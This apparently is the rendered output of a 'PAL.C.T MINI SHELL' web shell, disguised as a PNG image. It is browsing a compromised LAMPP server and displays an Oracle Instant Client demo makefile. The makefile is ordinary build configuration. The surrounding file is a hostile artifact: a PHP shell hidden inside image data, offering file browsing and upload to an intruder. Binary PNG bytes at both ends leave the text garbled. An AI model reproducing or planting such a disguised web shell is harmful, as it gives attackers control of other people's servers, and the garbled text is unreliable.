php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/lib/instantclient-11.2.0.3.0/sdk/demo/
upload
files >> //opt/lampp/lib/instantclient-11.2.0.3.0/sdk/demo/demo.mk

#/bin/make
###############################################################################
#                       Make file for OCI and OCCI demos
###############################################################################
#  Usage :
# For compiling & linking the cdemo81.c file
#    make -f demo.mk buildoci EXE=cdemo81 OBJS=cdemo81.o 
#
# For compiling & linking the occidml.cpp
#    make -f demo.mk buildocci EXE=occidml OBJS=occidml.o
#
# For compiling & linking the occiobj.cpp
#    make -f demo.mk occiobj 
#
# In general, for any occi program
#    make -f demo.mk buildocci EXE=<exename> OBJS="<list of dependent objs>"
#
# For compiling all demos
#    make -f demo.mk
#
# NOTE: Please change cc and CC to point to the appropiate location on your
#       machine.
#
###############################################################################

.SUFFIXES: .o .c .cpp

CC=/opt/SunProd/SUNWspro6.1/bin/CC
cc=/opt/SunProd/SUNWspro6.1/bin/cc

ICINCHOME=../
ICLIBHOME=../../
ICLIBPATH=-L$(ICLIBHOME)
THREADLIBS=-lthread
CCLIB=$(ICLIBPATH) -locci -lclntsh $(THREADLIBS)

CCINCLUDES = -I$(ICINCHOME)include

CCFLAGS=$(CCINCLUDES) -D_REENTRANT -g -xs 
LDFLAGS=
SO_EXT=.so

REMOVE=rm -rf
MKLINK=ln
MAKE=make
MAKEFILE=demo.mk
CLNCACHE=cleancache
CACHEDIR=SunWS_cache

CDEMOEXE=cdemo81
CDEMOOBJS=cdemo81.o
OCCIDEMO=occidml
OCCIOBJDEMO=occiobj
OTT=../ott
OCCIOTTUSR=hr
OCCIOTTPWD=hr

.cpp.o:
	$(CC) -c -I$(ICINCHOME)include $(CCFLAGS) $<

.c.o:
	$(cc) -c -I$(ICINCHOME)include $(CCFLAGS) $<

all: clean buildoci $(OCCIDEMO) $(OCCIOBJDEMO)

buildoci: $(CLNCACHE) $(LIBCLNT) $(CDEMOOBJS)
	$(MKLINK) $(ICLIBHOME)libclntsh$(SO_EXT).11.1 $(ICLIBHOME)libclntsh$(SO_EXT)
	$(MKLINK) $(ICLIBHOME)libocci$(SO_EXT).11.1 $(ICLIBHOME)libocci$(SO_EXT)
	$(CC) -o $(CDEMOEXE) $(LDFLAGS) $(CDEMOOBJS) $(CCLIB)
	$(REMOVE) $(ICLIBHOME)libclntsh$(SO_EXT)
	$(REMOVE) $(ICLIBHOME)libocci$(SO_EXT)

buildocci: $(CLNCACHE) $(LIBCLNT) $(OBJS)
	$(MKLINK) $(ICLIBHOME)libclntsh$(SO_EXT).11.1 $(ICLIBHOME)libclntsh$(SO_EXT)
	$(MKLINK) $(ICLIBHOME)libocci$(SO_EXT).11.1 $(ICLIBHOME)libocci$(SO_EXT)
	$(CC) -o $(EXE) $(LDFLAGS) $(OBJS) $(CCLIB)
	$(REMOVE) $(ICLIBHOME)libclntsh$(SO_EXT)
	$(REMOVE) $(ICLIBHOME)libocci$(SO_EXT)

$(OCCIDEMO):
	$(MAKE) -f $(MAKEFILE) buildocci OBJS=$@.o EXE=$@

$(OCCIOBJDEMO):
	$(OTT) userid=$(OCCIOTTUSR)/$(OCCIOTTPWD) \
                intype=$@.typ \
                outtype=$@out.type \
                code=cpp \
                hfile=$@.h \
                cppfile=$@o.cpp \
                attraccess=private \
                unicode=none
	$(MAKE) -f $(MAKEFILE) buildocci OBJS="$@.o $@m.o $@o.o" EXE=$@

cleancache:
	$(REMOVE) $(CACHEDIR)
	$(REMOVE) $(ICLIBHOME)libclntsh$(SO_EXT)
	$(REMOVE) $(ICLIBHOME)libocci$(SO_EXT)

clean: $(CLNCACHE)
	$(REMOVE) cdemo81 cdemo81.o occidml occidml.o occiobj occiobj.o occiobjo* occiobjm* occiobj.h occiobjout.type



#
# This port-specific file is currently empty on Solaris. Product
# lines may use this file to override compiler definitions and
# flags used in occi.mk.
#

# Linux compiler definitions
CC=/usr/bin/gcc
cc=/usr/bin/gcc

# including m32 flag for testing 32-bit client demos on Linux.X64 arch
# This change is not to be ported to Linux.X64 branch of this file
MTYPE=`if [ "$(shell uname -m)" = "x86_64" ]; then echo "-m32" ; fi`
CCFLAGS=$(CCINCLUDES) -DLINUX -D_GNU_SOURCE -D_REENTRANT -g $(MTYPE)
LDFLAGS=-g $(MTYPE)
CLNCACHE=

# This macro CCINCLUDES has to be redefined on Linux because of
# the existence of the 'new' directory in t_work. The name new
# clashes with a system header file.
CCINCLUDES = -I$(SRCHOME)/rdbms/public/ \
-I$(SRCHOME)/oracore/include -I$(SRCHOME)/oracore/public \
-I$(SRCHOME)/oracore/port/include \
-I$(SRCHOME)/nlsrtl/include -I$(SRCHOME)/plsql/public \
-I$(SRCHOME)/plsql/include -I$(SRCHOME)/network/public \
-I$(SRCHOME)/network/include -I$(SRCHOME)/otrace/public \
-I$(SRCHOME)/otrace/include/ -I$(SRCHOME)/precomp/public \
-I$(SRCHOME)/precomp/include/ -I$(SRCHOME)/slax/include \
-I$(SRCHOME)/ordts/public -I$(SRCHOME)/ordts/include \
-I$(SRCHOME)/javavm/include \
-I$(SRCHOME)/javavm/include/osds/unix/solaris \
-I$(SRCHOME)/ctx/public -I$(SRCHOME)/ordvir/public \
-I$(SRCHOME)/ordvir/include -I$(SRCHOME)/rdbms/src/hdir \
-idirafter .

THREADLIBS=-lpthread

ifdef BUILD_CCC296
CC=/usr/bin/g++296
endif
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`